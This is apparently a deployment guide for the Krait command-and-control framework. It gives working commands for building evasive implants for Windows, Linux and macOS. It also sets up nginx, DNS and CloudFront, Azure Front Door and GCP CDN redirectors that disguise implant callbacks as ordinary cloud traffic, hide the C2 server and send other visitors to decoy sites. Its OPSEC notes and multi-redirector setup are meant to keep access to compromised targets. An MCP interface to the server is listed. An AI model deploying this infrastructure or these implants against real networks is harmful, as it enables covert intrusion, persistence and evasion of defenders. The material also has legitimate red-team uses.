Deployment Guide
Production setup, redirectors, TLS, multi-server topologies
Production setup for Krait C2: redirectors, TLS, multi-server topologies, and hardening.
Architecture Overview
Target Network Internet Operator Network
┌──────────┐ HTTPS ┌──────────────┐ HTTPS ┌──────────────┐
│ Agent │ ──────────────→│ Redirector │─────────────→│ C2 Server │
│ │ │ (nginx) │ │ (Krait) │
└──────────┘ └──────────────┘ └──────┬───────┘
│ API :50051
┌─────┴──────┐
│ CLI / Web │
│ / MCP │
└────────────┘
The redirector sits between agents and the C2 server. Agents never connect directly to the C2 — the redirector handles TLS termination, URI filtering, and geo-blocking.
Quick Production Setup
1. Generate TLS Certificates
# Self-signed (lab)
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout server.key -out server.crt \
-subj "/CN=krait.local"
# Let's Encrypt (production — run on redirector)
certbot certonly --standalone -d c2.yourdomain.com
2. Create Operator Accounts
./server/krait-server operator add adam
./server/krait-server operator add caro
3. Start the C2 Server
./server/krait-server server start --port 8443 --profile slack --ui
The --profile flag accepts any built-in profile name (slack, teams, onedrive, gdrive, github, npm, discord, docker-registry). Omit it for the default profile. Use --profile multiple times for multi-profile listeners.
4. Generate the Redirector Config
Use the operator Web UI Redirector page or the CLI redirector command to generate configs. The server automatically includes the active traffic profile’s URI paths in the generated config.
From the CLI:
krait> redirector nginx --backend https://<C2_IP>:8443 \
--decoy https://www.microsoft.com \
--server-name c2.yourdomain.com \
--ssl-cert /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem \
--ssl-key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem \
--output redirector/krait.conf
From the Web UI: Navigate to Redirector → select nginx → fill in backend, decoy, server name, and TLS paths → download the config file.
5. Deploy the Redirector
# On the redirector host
sudo cp redirector/krait.conf /etc/nginx/conf.d/krait.conf
sudo nginx -t && sudo nginx -s reload
6. Build the Implant
Use the operator Web UI Build page or the CLI build command.
From the CLI:
krait> build windows -s <REDIRECTOR_DOMAIN> -p 8443 --external-port 443 \
-i 60 -j 20 --all-evasion --profile slack
From the Web UI: Navigate to Build → select platform (Windows/Linux/macOS) → set server, port, evasion flags, and profile → build and download.
--server points to the redirector, not the C2 server. --external-port 443 is what the agent connects to; the redirector proxies to the C2’s internal port.
Redirector Configuration
nginx Redirector
The redirector nginx command generates nginx configs that:
- Forward only valid C2 URI paths to the backend
- Return 301 to a decoy site for all other requests
- Trust
X-Forwarded-Forheaders (agent IP passed through to server) - Handle TLS termination
CLI options:
| Flag | Description |
|---|---|
--backend | C2 server URL (default: https://127.0.0.1:8443) |
--ssl-cert | TLS certificate path |
--ssl-key | TLS private key path |
--decoy | URL to redirect non-C2 traffic to |
--server-name | nginx server_name directive |
--listen-port | nginx listen port (default: 443) |
--webroot | Webroot path for Let’s Encrypt challenges |
--output | Output file path (prints to stdout if omitted) |
DNS Redirector
For DNS transport:
From the CLI:
krait> redirector dns --domain c2.example.com --backend <C2_IP> \
--zone --output redirector/
CLI options:
| Flag | Description |
|---|---|
--domain | DNS domain for the C2 channel (required) |
--backend | C2 server IP (required) |
--listen-port | Redirector listen port (default: 53) |
--backend-port | Teamserver DNS port |
--iface | Restrict to network interface |
--nftables | Use nftables instead of iptables |
--socat-only | Only generate socat systemd unit |
--zone | Also generate zone file |
--ns | NS server hostname (repeatable) |
--redirector-ip | Redirector public IP |
--output | Write files to directory |
Required DNS infrastructure:
- Domain with NS record:
c2.example.com NS ns1.example.com - A record:
ns1.example.com A <REDIRECTOR_IP> - socat/CoreDNS running on the redirector with the generated config
CloudFront CDN Redirector
The redirector cloudfront command generates an nginx reverse proxy config and CloudFront distribution setup instructions. Unlike nginx/DNS redirectors, CloudFront proxies all traffic — no traffic profile dependency.
From the CLI:
krait> redirector cloudfront --origin ec2-1-2-3-4.compute-1.amazonaws.com
krait> redirector cloudfront --origin redirector.example.com \
--krait-port 8443 --domain cdn.legit.com \
--output /tmp/krait-cf-nginx.conf
From the Web UI: Navigate to Redirector → select CloudFront → fill in origin hostname, Krait port, and optional custom domain → generate.
CLI options:
| Flag | Description |
|---|---|
--origin | Origin server hostname — your redirector VPS (required) |
--krait-port | Krait server port on origin (default: 443) |
--domain | Custom domain for CloudFront (CNAME alias) |
--output | Write nginx config to file (setup instructions always print to stdout) |
The output includes the nginx reverse proxy config (HTTP:80 → Krait HTTPS), CloudFront distribution parameters with correct managed policy IDs, an AWS CLI example, and OPSEC notes.
Traffic Profile Setup
When using traffic profiles, three components must use the same profile:
- Implant —
--profile slackinbuild(CLI or Web UI) - Redirector — generated config automatically matches the server’s active profile URIs
- Server —
--profile slackat server start
Mismatched profiles cause agents to go dark (redirector blocks non-matching URIs).
CloudFront CDN Redirector
Front C2 traffic through AWS CloudFront for traffic blending. Agents connect to a legitimate CloudFront domain with a valid AWS TLS certificate — the real C2 IP is never exposed to the target network.
Target Network AWS CloudFront C2 Server
┌──────────┐ HTTPS ┌──────────────────┐ HTTP ┌──────────────┐
│ Agent │ ────────→ │ d1234.cloudfront │ ─────→│ nginx :80 │
│ │ │ .net (valid TLS) │ │ ↓ proxy_pass│
└──────────┘ └──────────────────┘ │ Krait :443 │
└──────────────┘
Architecture: Agent → CloudFront (HTTPS, valid AWS cert) → nginx (HTTP:80) → Krait (HTTPS:443)
CloudFront provides traffic blending — agents connect to legitimate AWS CDN IP ranges with valid certificates. This is not domain fronting (AWS blocked that in 2018; Host header must match SNI), but the traffic is indistinguishable from any other CloudFront-hosted site on the wire.
Terraform Deployment
The redirector ships as a Terraform module (terraform/redirector.tf):
# Deploy with the lab
./lab.sh redirector up
# Check status (CloudFront takes ~5-10 min to deploy)
./lab.sh redirector status
# Build agent pointing at CloudFront
./lab.sh redirector agent linux
# Tear down redirector only
./lab.sh redirector down
The module creates a CloudFront distribution, nginx reverse proxy, security group rules, and optionally an ACM certificate for custom domains.
Manual Setup
Use the CLI or Web UI to generate the config, then follow the setup instructions:
krait> redirector cloudfront --origin <YOUR_SERVER_HOSTNAME> --output krait-cf-nginx.conf
Or set up manually:
- Configure nginx on the C2 server as an HTTP→HTTPS reverse proxy (port 80 → Krait port 443)
- Create a CloudFront distribution with the server’s public DNS as origin, HTTP-only origin protocol, HTTPS-only viewer protocol,
CachingDisabledcache policy, andAllViewerorigin request policy - Build agents with the CloudFront domain:
build linux -s d1234abcd.cloudfront.net -p 443 ...
OPSEC Notes
- Agent
client_ipin sessions shows CloudFront edge IPs, not the agent’s real IP - CloudFront POST body limit is 20GB — no blocker for C2 traffic
- Restrict port 80 on the server to CloudFront traffic only
- The C2 server’s public IP is still visible in CloudFront origin config — don’t expose the origin IP elsewhere
Azure Front Door CDN Redirector
Front C2 traffic through Azure Front Door for traffic blending. Agents connect to a Microsoft-owned domain with a valid Microsoft TLS certificate — the real C2 IP is never exposed to the target network.
Target Network Azure Front Door C2 Server
┌──────────┐ HTTPS ┌──────────────────┐ HTTP ┌──────────────┐
│ Agent │ ────────→ │ *.azurefd.net │ ─────→│ nginx :80 │
│ │ │ (valid MS TLS) │ │ ↓ proxy_pass│
└──────────┘ └──────────────────┘ │ Krait :443 │
└──────────────┘
Architecture: Agent → Azure Front Door (HTTPS, valid Microsoft cert) → nginx (HTTP:80) → Krait (HTTPS:443)
Front Door terminates TLS at Microsoft’s global edge network, forwards HTTP to the origin server’s nginx, which proxies to Krait’s HTTPS listener. Traffic is indistinguishable from any other Azure Front Door-hosted service on the wire.
Terraform Deployment
The Azure lab Terraform module deploys Front Door alongside the full lab infrastructure:
cd terraform/azure
terraform init
terraform apply -var="deploy_front_door=true"
Or with the lab script:
# Deploy full Azure lab with Front Door
./lab.sh azure-lab up
# Build agents — auto-detects Front Door if deployed
./lab.sh azure-lab agent linux
./lab.sh azure-lab agent windows
The module creates:
- Front Door Standard tier profile with custom endpoint
- Origin group pointing to the Krait server’s public IP
- Route matching all traffic (
/*) with HTTPS redirect - Nginx reverse proxy on the server configured as Front Door origin
Configuration
Set deploy_front_door = true in terraform/azure/terraform.tfvars. The Front Door endpoint hostname is output as front_door_endpoint and the full URL as front_door_url.
When building agents for Front Door delivery, use the Front Door hostname as the callback address. The azure-lab agent commands handle this automatically.
OPSEC Notes
- Traffic uses Microsoft-owned TLS certificates and IP ranges
- Domain categorized under Microsoft/Azure infrastructure
- Front Door adds
X-Azure-RefandX-Forwarded-Forheaders — nginx strips these before forwarding to Krait - Standard tier avoids the cost and visibility of Premium WAF rules
- Agent
client_ipin sessions shows Front Door edge IPs, not the agent’s real IP - The C2 server’s public IP is visible in Front Door origin config — don’t expose the origin IP elsewhere
GCP Cloud CDN Redirector
Front C2 traffic through GCP Cloud CDN for traffic blending. Agents connect to a Google Cloud IP address (or custom domain with a Google-managed certificate) — the real C2 IP is never exposed to the target network.
Target Network GCP Cloud CDN C2 Server
┌──────────┐ HTTPS ┌──────────────────┐ HTTP ┌──────────────┐
│ Agent │ ────────→ │ Cloud CDN LB │ ─────→│ nginx :80 │
│ │ │ (Google TLS) │ │ ↓ proxy_pass│
└──────────┘ └──────────────────┘ │ Krait :443 │
└──────────────┘
Architecture: Agent → Cloud CDN (HTTPS, Google-managed cert) → nginx (HTTP:80) → Krait (HTTPS:443)
Cloud CDN uses a global HTTP(S) Load Balancer with an Internet NEG (Network Endpoint Group) pointing to the external origin. TLS terminates at Google’s edge; HTTP reaches nginx on the origin, which proxies to Krait’s HTTPS listener.
Terraform Deployment
cd terraform/gcp-redirector
terraform init
terraform apply -var origin_hostname="<C2_IP>" -var project_id="<PROJECT>"
For custom domain with Google-managed certificate:
terraform apply -var origin_hostname="<C2_IP>" -var project_id="<PROJECT>" \
-var custom_domain="c2.example.com"
CLI / Web UI
krait> redirector gcp --origin c2.example.com --project-id my-project
krait> redirector gcp --origin c2.example.com --domain cdn.legit.com --valid-cert
From the Web UI: Navigate to Redirector → select GCP Cloud CDN → fill in origin hostname, project ID, and optional custom domain → generate.
OPSEC Notes
- Traffic uses Google Cloud IP ranges and Google-managed TLS certificates
- Cloud CDN POST body limit is ~32MB — smaller than CloudFront/Front Door but sufficient for C2
- Agent
client_ipin sessions shows Google edge IPs, not the agent’s real IP - The C2 server’s IP is in the backend service config — don’t expose the origin IP
- Use
--valid-certwhen the origin has a CA-signed certificate to skip the nginx proxy layer - Certificate provisioning for custom domains can take 10-60 minutes
Multi-Server Topologies
Single Server (Lab)
Agent → C2 Server (HTTPS listener + API + web UI on same host)
Redirector + C2 (Standard Engagement)
Agent → Redirector (nginx, public IP) → C2 Server (private IP)
Multi-Redirector (Resilience)
Agent → Redirector A → C2 Server
Agent → Redirector B ↗
Build multiple implants with different --server values pointing to each redirector. Deploy both to the target. If one redirector is burned, the other maintains access.
Multi-Transport Pivot
Agent A (HTTPS) → C2 Server
Agent A ──SMB──→ Agent B (internal host)
Agent A ──TCP──→ Agent C (different subnet)
Agent D (DOH) → C2 Server (DNS queries over HTTPS)
Server Hardening
Firewall Rules
# C2 server — only accept from redirector
iptables -A INPUT -p tcp --dport 8443 -s <REDIRECTOR_IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP
# API port — only local and operator IPs
iptables -A INPUT -p tcp --dport 50051 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 50051 -s <OPERATOR_VPN_RANGE> -j ACCEPT
iptables -A INPUT -p tcp --dport 50051 -j DROP
SSH Tunneling (Remote Operator Access)
If operators can’t reach the API port directly:
# On operator workstation
ssh -L 50051:localhost:50051 user@c2-server
# Then connect
./server/krait-server connect --server 127.0.0.1:50051 --user adam
Separate Processes
For production, run the server and web UI as systemd services:
# /etc/systemd/system/krait.service
[Unit]
Description=Krait C2 Server
After=network.target
[Service]
Type=simple
User=krait
WorkingDirectory=/opt/krait
ExecStart=/opt/krait/server/krait-server server start --port 8443 --ui
Restart=on-failure
[Install]
WantedBy=multi-user.target
Operational Checklist
Before going live:
- TLS certificates in place (not self-signed for production)
- Redirector deployed and tested (curl the decoy URL, verify redirect)
- Operator accounts created
- Traffic profile matching across implant, redirector, and server
- Firewall rules restricting C2 port to redirector only
- API port restricted to operator IPs
- Test implant successfully calls back through the full chain
- Event logging confirmed (
logcommand shows registration) - Backup redirector tested (if using multi-redirector)